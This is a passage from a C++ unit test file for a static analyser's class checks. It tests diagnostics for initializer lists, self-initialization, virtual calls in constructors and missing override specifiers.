errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function 